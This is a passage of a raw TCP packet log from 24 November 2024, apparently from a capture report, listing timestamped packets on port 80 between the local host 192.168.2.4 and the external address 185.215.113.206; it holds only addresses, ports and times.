Nov 24, 2024 02:13:29.402960062 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.402968884 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.402973890 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.402986050 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.403004885 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.403011084 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.403021097 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.403033972 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.403037071 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.403053999 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.403054953 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.403069973 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.403069973 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.403085947 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.403095961 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.403105021 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.403119087 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.403121948 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.403132915 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.403141022 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.403150082 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.403156996 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.403167009 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.403176069 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.403182983 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.403192997 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.403197050 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.403209925 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.403218031 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.403228045 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.403229952 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.403247118 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.403258085 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.403263092 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.403280020 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.403280973 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.403290987 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.403296947 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.403311014 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.403321028 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.403331041 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.403338909 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.403341055 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.403356075 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.403357983 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.403373003 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.403378010 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.403390884 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.403398037 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.403407097 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.403409004 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.403419971 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.403424025 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.403445005 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.403460979 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.403609991 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.403625965 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.403640985 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.403665066 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.403669119 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.403681040 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.403693914 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.403697014 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.403721094 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.403724909 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.403738022 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.403742075 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.403759003 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.403765917 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.403775930 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.403779030 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.403795004 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.403800011 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.403810024 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.403812885 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.403831005 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.403840065 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.403847933 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.403851032 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.403863907 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.403872967 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.403882980 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.403886080 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.403899908 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.403912067 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.403918028 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.403934956 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.403944016 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.403950930 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.403954983 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.403966904 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.403980017 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.403983116 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.403990030 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.404004097 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.404020071 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.417097092 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.417144060 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.417149067 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.417191029 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.417475939 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.417522907 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.417589903 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.417634010 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.418334961 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.418396950 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.418423891 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.418466091 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.419126987 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.419181108 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.419225931 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.419303894 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.419941902 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.419991970 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.420037985 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.420084000 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.420759916 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.420805931 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.420850039 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.420922041 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.421602011 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.421653986 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.421698093 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.421745062 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.422404051 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.422454119 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.422501087 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.422550917 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.423216105 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.423304081 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.423338890 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.423384905 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.424037933 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.424086094 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.424149036 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.424249887 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.424854994 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.424917936 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.424957037 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.425023079 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.425690889 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.425776005 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.425796032 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.425859928 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.426484108 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.426552057 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.426589966 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.426687002 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.427324057 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.427371025 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.427417040 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.427475929 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.428148031 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.428200006 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.428246975 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.428345919 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.428922892 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.429063082 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.429075956 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.429181099 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.430799961 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.430815935 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.430835009 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.430850983 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.430866003 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.430896044 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.431418896 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.431489944 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.431529045 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.431577921 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.432216883 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.432267904 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.432312012 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.432362080 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.433043003 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.433092117 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.433155060 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.433212042 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.433851004 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.433936119 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.433978081 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.434026957 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.434676886 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.434724092 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.434791088 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.434840918 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.435489893 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.435540915 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.435587883 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.435640097 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.436311007 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.436358929 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.436414957 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.436455965 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.437129974 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.437171936 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.437238932 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.437283993 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.437952042 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.438000917 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.438051939 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.438106060 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.438787937 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.438844919 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.438884974 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.438924074 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.439610004 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.439666033 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.439822912 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.439867020 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.440440893 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.440519094 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.440556049 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.440598965 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.444456100 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.444472075 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.444488049 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.444503069 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.444505930 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.444519043 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.444521904 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.444539070 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.444564104 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.444578886 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.444782972 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.444806099 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.444824934 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.444842100 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.445343018 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.445358992 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.445374966 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.445394039 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.445410967 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.445426941 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.445461988 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.446156025 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.446223021 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.446261883 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.446307898 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.446969032 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.447061062 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.447088003 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.447129965 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.447788954 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.447838068 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.447850943 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.447892904 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.448601007 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.448721886 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.448771954 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.449440956 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.449489117 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.449548960 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.449599028 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.450264931 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.450345993 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.450385094 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.450439930 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.451073885 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.451122046 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.451169014 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.451251030 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.451906919 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.452007055 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.452013969 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.452122927 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.452707052 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.452754974 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.452831030 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.452883005 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.453550100 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.453605890 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.453650951 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.453702927 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.454344034 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.454391003 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.454448938 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.454493046 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.455174923 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.455255032 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.455287933 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.455342054 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.455986977 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.456037045 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.456084013 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.456132889 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.458870888 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.458914995 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.459965944 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.460011959 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.460208893 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.460226059 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.460273981 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.460369110 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.460386038 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.460418940 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.460442066 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.524142981 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.524175882 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.524246931 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.524494886 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.526129961 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.618545055 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.618607998 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.618664980 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.618710995 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.618921995 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.618969917 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.619002104 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.619051933 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.619775057 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.619853020 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.619877100 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.619921923 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.620568037 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.620619059 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.620692015 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.620742083 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.621398926 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.621447086 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.621498108 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.621644974 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.622231960 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.622288942 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.622334957 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.622385979 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.623043060 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.623090982 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.623142004 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.623250961 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.623873949 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.624037027 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.624044895 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.624151945 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.624664068 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.624718904 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.624788046 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.624834061 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.625485897 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.625534058 CET	49748	80	192.168.2.4	185.215.113.206
